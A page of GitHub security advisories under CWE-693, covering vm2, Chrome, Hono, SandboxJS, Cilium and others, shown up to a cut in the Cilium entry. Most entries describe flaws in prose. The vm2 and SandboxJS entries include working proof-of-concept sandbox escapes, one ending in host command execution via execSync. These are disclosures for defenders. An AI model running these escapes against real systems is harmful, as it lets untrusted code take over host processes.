Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

978 vulnerabilities reference this CWE, most recent first.

GHSA-2CM2-M3W5-GP2F

Vulnerability from github – Published: 2026-05-08 16:22 – Updated: 2026-05-08 16:22
VLAI
Summary
vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
Details

Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

Details

It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T16:22:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nhttps://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.\n\n### Details\n\nIt is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n globalThis[\u0027VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL\u0027]\n`));\n```",
  "id": "GHSA-2cm2-m3w5-gp2f",
  "modified": "2026-05-08T16:22:52Z",
  "published": "2026-05-08T16:22:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`"
}

GHSA-2G9M-M94R-H996

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 21:32
VLAI
Details

Insufficient policy enforcement in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T00:17:06Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-2g9m-m94r-h996",
  "modified": "2026-06-05T21:32:03Z",
  "published": "2026-06-05T00:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11288"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/502231588"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GCR-MFCQ-WCC3

Vulnerability from github – Published: 2026-06-04 18:01 – Updated: 2026-06-04 18:01
VLAI
Summary
Hono: app.mount() strips mount prefix using undecoded path, causing incorrect routing for percent-encoded paths
Details

Summary

app.mount() strips the mount prefix from the incoming request path using the raw URL pathname, while route matching is performed against the percent-decoded path. This inconsistency causes the prefix to be stripped at the wrong position when the path contains percent-encoded multi-byte characters, resulting in the mounted sub-application receiving an incorrect path.

Details

When app.mount(prefix, subApp) is called, Hono calculates the number of characters to strip based on the decoded mount prefix length, but then applies that slice to the raw URL pathname. When the URL contains percent-encoded characters that expand to fewer characters when decoded (such as encoded non-ASCII characters), the two representations have different lengths, so the prefix is stripped at the wrong byte offset.

As a result, the sub-application receives a path that does not correspond to the intended sub-path — it may receive a partial or garbled path instead of the expected value after the mount prefix is removed.

This issue arises when an application uses app.mount() with paths that contain percent-encoded characters, particularly when the mount prefix itself or the request path contains encoded non-ASCII characters.

Impact

A mounted sub-application may receive an incorrectly stripped path, causing requests to be routed to unintended handlers within the sub-application.

This may lead to:

  • Middleware or route handlers in the sub-application being bypassed or incorrectly matched due to the malformed path
  • Requests reaching sub-application routes that the developer did not intend to be accessible via the mounted path

This issue affects applications that use app.mount() where the request URL may contain percent-encoded characters in the mount prefix or subsequent path segments.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.12.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T18:01:00Z",
    "nvd_published_at": "2026-05-28T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`app.mount()` strips the mount prefix from the incoming request path using the raw URL pathname, while route matching is performed against the percent-decoded path. This inconsistency causes the prefix to be stripped at the wrong position when the path contains percent-encoded multi-byte characters, resulting in the mounted sub-application receiving an incorrect path.\n\n### Details\n\nWhen `app.mount(prefix, subApp)` is called, Hono calculates the number of characters to strip based on the decoded mount prefix length, but then applies that slice to the raw URL pathname. When the URL contains percent-encoded characters that expand to fewer characters when decoded (such as encoded non-ASCII characters), the two representations have different lengths, so the prefix is stripped at the wrong byte offset.\n\nAs a result, the sub-application receives a path that does not correspond to the intended sub-path \u2014 it may receive a partial or garbled path instead of the expected value after the mount prefix is removed.\n\nThis issue arises when an application uses `app.mount()` with paths that contain percent-encoded characters, particularly when the mount prefix itself or the request path contains encoded non-ASCII characters.\n\n### Impact\n\nA mounted sub-application may receive an incorrectly stripped path, causing requests to be routed to unintended handlers within the sub-application.\n\nThis may lead to:\n\n- Middleware or route handlers in the sub-application being bypassed or incorrectly matched due to the malformed path\n- Requests reaching sub-application routes that the developer did not intend to be accessible via the mounted path\n\nThis issue affects applications that use `app.mount()` where the request URL may contain percent-encoded characters in the mount prefix or subsequent path segments.",
  "id": "GHSA-2gcr-mfcq-wcc3",
  "modified": "2026-06-04T18:01:00Z",
  "published": "2026-06-04T18:01:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-2gcr-mfcq-wcc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47676"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/6cbb025ff87fca1a3d00d0ccca0eaf3a6385c3f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/releases/tag/v4.12.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono: app.mount() strips mount prefix using undecoded path, causing incorrect routing for percent-encoded paths"
}

GHSA-2GG9-6P7W-6CPJ

Vulnerability from github – Published: 2026-04-03 21:44 – Updated: 2026-04-06 23:18
VLAI
Summary
SandboxJS: Sandbox integrity escape
Details

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References: - src/utils.ts#L118-L126 - src/executor.ts#L493-L518

const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap: 1. Direct global mutation is blocked in assignment logic. 2. A callable host function that performs arbitrary property writes is still reachable. 3. The call path does not enforce equivalent global-mutation restrictions. 4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

npm i @nyariv/sandboxjs@0.8.35

Global write bypass with pwned marker

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
} finally {
  Math.random = original;
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object
With bypass (host Math.random()): pwned
With bypass (fresh sandbox Math.random()): pwned

With bypass (host Math.random()) proves the sandbox changed host runtime state immediately.
With bypass (fresh sandbox Math.random()) proves the mutation persists across new sandbox instances, which shows cross-execution contamination.

Command id execution via host gadget

This second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX id command as a harmless execution marker.

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');

const run = (code) => new Sandbox().compile(code)().run();
const hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');
const originalCmd = Math.cmd;

try {
  try {
    run(`Math.cmd = 'id'`);
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { cmd: 'id' })`);
  console.log('With bypass (host command source Math.cmd):', Math.cmd);
  console.log(
    'With bypass + host gadget execSync(Math.cmd):',
    execSync(Math.cmd, { encoding: 'utf8' }).trim(),
  );
} finally {
  if (hadCmd) {
    Math.cmd = originalCmd;
  } else {
    delete Math.cmd;
  }
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object
With bypass (host command source Math.cmd): id
With bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...

Impact

This is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:44:39Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nSandboxJS blocks direct assignment to global objects (for example `Math.random = ...`), but this protection can be bypassed through an exposed callable constructor path: `this.constructor.call(target, attackerObject)`. Because `this.constructor` resolves to the internal `SandboxGlobal` function and `Function.prototype.call` is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.\n\n### Details\nThe intended safety model relies on write-time checks in assignment operations. In `assignCheck`, writes are denied when the destination is marked global (`obj.isGlobal`), which correctly blocks straightforward payloads like `Math.random = () =\u003e 1`.\n\nReference: [`src/executor.ts#L215-L218`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L215-L218)\n\n```ts\nif (obj.isGlobal) {\n  throw new SandboxAccessError(\n    `Cannot ${op} property \u0027${obj.prop.toString()}\u0027 of a global object`,\n  );\n}\n```\n\nThe bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is `SandboxGlobal`, implemented as a function that copies all keys from a provided object into `this`.\n\nReference: [`src/utils.ts#L84-L88`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L84-L88)\n\n```ts\nexport const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {\n  for (const i in globals) {\n    this[i] = globals[i];\n  }\n} as any as SandboxGlobalConstructor;\n```\n\nAt runtime, global scope `this` is a `SandboxGlobal` instance (`functionThis`), so `this.constructor` resolves to `SandboxGlobal`. That constructor is reachable from sandbox code, and calls through `Function.prototype.call` are allowed by the generic call opcode path.\n\nReferences:\n- [`src/utils.ts#L118-L126`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L118-L126)\n- [`src/executor.ts#L493-L518`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L493-L518)\n\n```ts\nconst sandboxGlobal = new SandboxGlobal(options.globals);\n...\nglobalScope: new Scope(null, options.globals, sandboxGlobal),\n```\n\n```ts\nconst evl = context.evals.get(obj.context[obj.prop] as any);\nlet ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);\n```\n\nThis creates a privilege gap:\n1. Direct global mutation is blocked in assignment logic.\n2. A callable host function that performs arbitrary property writes is still reachable.\n3. The call path does not enforce equivalent global-mutation restrictions.\n4. Attacker-controlled code can choose the write target (`Math`, `JSON`, etc.) via `.call(target, payloadObject)`.\n\nIn practice, the payload:\n```js\nconst SG = this.constructor;\nSG.call(Math, { random: () =\u003e \u0027pwned\u0027 });\n```\noverwrites host `Math.random` successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.\n\n### PoC\nInstall dependency:\n\n```bash\nnpm i @nyariv/sandboxjs@0.8.35\n```\n\n#### Global write bypass with `pwned` marker\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst original = Math.random;\n\ntry {\n  try {\n    run(\u0027Math.random = () =\u003e 1\u0027);\n    console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n  } catch (err) {\n    console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n  }\n  run(`this.constructor.call(Math, { random: () =\u003e \u0027pwned\u0027 })`);\n  console.log(\u0027With bypass (host Math.random()):\u0027, Math.random());\n  console.log(\u0027With bypass (fresh sandbox Math.random()):\u0027, run(\u0027return Math.random()\u0027));\n} finally {\n  Math.random = original;\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027random\u0027 of a global object\nWith bypass (host Math.random()): pwned\nWith bypass (fresh sandbox Math.random()): pwned\n```\n\n`With bypass (host Math.random())` proves the sandbox changed host runtime state immediately.  \n`With bypass (fresh sandbox Math.random())` proves the mutation persists across new sandbox instances, which shows cross-execution contamination.\n\n#### Command `id` execution via host gadget\n\nThis second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX `id` command as a harmless execution marker.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\n\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst hadCmd = Object.prototype.hasOwnProperty.call(Math, \u0027cmd\u0027);\nconst originalCmd = Math.cmd;\n\ntry {\n  try {\n    run(`Math.cmd = \u0027id\u0027`);\n    console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n  } catch (err) {\n    console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n  }\n  run(`this.constructor.call(Math, { cmd: \u0027id\u0027 })`);\n  console.log(\u0027With bypass (host command source Math.cmd):\u0027, Math.cmd);\n  console.log(\n    \u0027With bypass + host gadget execSync(Math.cmd):\u0027,\n    execSync(Math.cmd, { encoding: \u0027utf8\u0027 }).trim(),\n  );\n} finally {\n  if (hadCmd) {\n    Math.cmd = originalCmd;\n  } else {\n    delete Math.cmd;\n  }\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027cmd\u0027 of a global object\nWith bypass (host command source Math.cmd): id\nWith bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...\n```\n\n### Impact\nThis is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.",
  "id": "GHSA-2gg9-6p7w-6cpj",
  "modified": "2026-04-06T23:18:19Z",
  "published": "2026-04-03T21:44:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34208"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SandboxJS: Sandbox integrity escape "
}

GHSA-2GJC-FP8X-JX4Q

Vulnerability from github – Published: 2025-01-20 00:30 – Updated: 2025-01-20 00:30
VLAI
Details

A vulnerability has been found in Union Bank of India Vyom 8.0.34 on Android and classified as problematic. This vulnerability affects unknown code of the component Rooting Detection. The manipulation leads to protection mechanism failure. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0575"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-19T23:15:20Z",
    "severity": "LOW"
  },
  "details": "A vulnerability has been found in Union Bank of India Vyom 8.0.34 on Android and classified as problematic. This vulnerability affects unknown code of the component Rooting Detection. The manipulation leads to protection mechanism failure. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-2gjc-fp8x-jx4q",
  "modified": "2025-01-20T00:30:57Z",
  "published": "2025-01-20T00:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0575"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1kIXsZoD1FFps0bXQ1pbrfoo76Wy1pL7s/view?usp=drivesdk"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.292540"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.292540"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.475733"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2GVP-7C85-H6VG

Vulnerability from github – Published: 2025-12-15 15:30 – Updated: 2025-12-15 15:30
VLAI
Details

The Convercent Whistleblowing Platform operated by EQS Group contains a protection mechanism failure in its browser and session handling. By default, affected deployments omit HTTP security headers such as Content-Security-Policy, Referrer-Policy, Permissions-Policy, Cross-Origin-Embedder-Policy, Cross-Origin-Opener-Policy, and Cross-Origin-Resource-Policy, and implement incomplete clickjacking protections. The application also issues session cookies with insecure or inconsistent attributes by default, including duplicate ASP.NET_SessionId values, an affinity cookie missing the Secure attribute, and mixed or absent SameSite settings. These deficiencies weaken browser-side isolation and session integrity, increasing exposure to client-side attacks, session fixation, and cross-site session leakage.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-34412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T15:15:50Z",
    "severity": "MODERATE"
  },
  "details": "The Convercent Whistleblowing Platform operated by EQS Group contains a protection mechanism failure in its browser and session handling. By default, affected deployments omit HTTP security headers such as Content-Security-Policy, Referrer-Policy, Permissions-Policy, Cross-Origin-Embedder-Policy, Cross-Origin-Opener-Policy, and Cross-Origin-Resource-Policy, and implement incomplete clickjacking protections. The application also issues session cookies with insecure or inconsistent attributes by default, including duplicate ASP.NET_SessionId values, an affinity cookie missing the Secure attribute, and mixed or absent SameSite settings. These deficiencies weaken browser-side isolation and session integrity, increasing exposure to client-side attacks, session fixation, and cross-site session leakage.",
  "id": "GHSA-2gvp-7c85-h6vg",
  "modified": "2025-12-15T15:30:32Z",
  "published": "2025-12-15T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34412"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2025/Dec/4"
    },
    {
      "type": "WEB",
      "url": "https://www.convercent.com"
    },
    {
      "type": "WEB",
      "url": "https://www.eqs.com/en-us/platform-convercent-clients"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/convercent-whisteblowing-platform-protection-mechanism-failure-insecure-default-browser-and-session-controls"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2GWV-HH3J-CX86

Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2025-01-14 18:32
VLAI
Details

Windows NTLM Spoofing Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-21217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T18:15:33Z",
    "severity": "MODERATE"
  },
  "details": "Windows NTLM Spoofing Vulnerability",
  "id": "GHSA-2gwv-hh3j-cx86",
  "modified": "2025-01-14T18:32:02Z",
  "published": "2025-01-14T18:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21217"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21217"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H44-X2WX-49F4

Vulnerability from github – Published: 2023-05-22 20:33 – Updated: 2023-06-02 23:57
VLAI
Summary
Potential HTTP policy bypass when using header rules in Cilium
Details

Impact

This issue only impacts users who:

  • Have a HTTP policy that applies to multiple toEndpoints AND
  • Have an allow-all rule in place that affects only one of those endpoints

In such cases, a wildcard rule will be appended to the set of HTTP rules, which could cause bypass of HTTP policies.

Patches

This issue has been patched in Cilium 1.11.16, 1.12.9, and 1.13.2.

Workarounds

Rewrite HTTP rules for each endpoint separately. For example, if the initial rule looks like:

  egress:
    - toEndpoints:
        - matchLabels:
            k8s:kind: echo
        - matchLabels:
            k8s:kind: example
      toPorts:
        - ports:
            - port: "8080"
              protocol: TCP
          rules:
            http:
              - method: "GET"

It should be rewritten to:

  egress:
    - toEndpoints:
        - matchLabels:
            k8s:kind: echo
      toPorts:
        - ports:
            - port: "8080"
              protocol: TCP
          rules:
            http:
              - method: "GET"
    - toEndpoints:
        - matchLabels:
            k8s:kind: example
      toPorts:
        - ports:
            - port: "8080"
              protocol: TCP
          rules:
            http:
              - method: "GET"

Acknowledgements

The Cilium community has worked together with members of Isovalent to prepare these mitigations. Special thanks to @jrajahalme for investigating and fixing the issue.

For more information

If you have any questions or comments about this advisory, please reach out on Slack.

As usual, if you think you found a related vulnerability, we strongly encourage you to report security vulnerabilities to our private security mailing list: security@cilium.io - first, before disclosing them in any public forums. This is a private mailing list where only members of the Cilium internal security team are subscribed to, and is treated as top priority.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.12.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-22T20:33:15Z",
    "nvd_published_at": "2023-05-25T18:15:10Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThis issue only impacts users who:\n\n- Have a HTTP policy that applies to multiple `toEndpoints` AND\n- Have an allow-all rule in place that affects only one of those endpoints\n\nIn such cases, a wildcard rule will be appended to the set of HTTP rules, which could cause bypass of HTTP policies.\n\n### Patches\n\nThis issue has been patched in Cilium 1.11.16, 1.12.9, and 1.13.2.\n\n### Workarounds\n\nRewrite HTTP rules for each endpoint separately. For example, if the initial rule looks like:\n\n```\n  egress:\n    - toEndpoints:\n        - matchLabels:\n            k8s:kind: echo\n        - matchLabels:\n            k8s:kind: example\n      toPorts:\n        - ports:\n            - port: \"8080\"\n              protocol: TCP\n          rules:\n            http:\n              - method: \"GET\"\n```\n\nIt should be rewritten to:\n \n```\n  egress:\n    - toEndpoints:\n        - matchLabels:\n            k8s:kind: echo\n      toPorts:\n        - ports:\n            - port: \"8080\"\n              protocol: TCP\n          rules:\n            http:\n              - method: \"GET\"\n    - toEndpoints:\n        - matchLabels:\n            k8s:kind: example\n      toPorts:\n        - ports:\n            - port: \"8080\"\n              protocol: TCP\n          rules:\n            http:\n              - method: \"GET\"\n```     \n\n### Acknowledgements\n\nThe Cilium community has worked together with members of Isovalent to prepare these mitigations. Special thanks to @jrajahalme for investigating and fixing the issue.\n\n### For more information\n\nIf you have any questions or 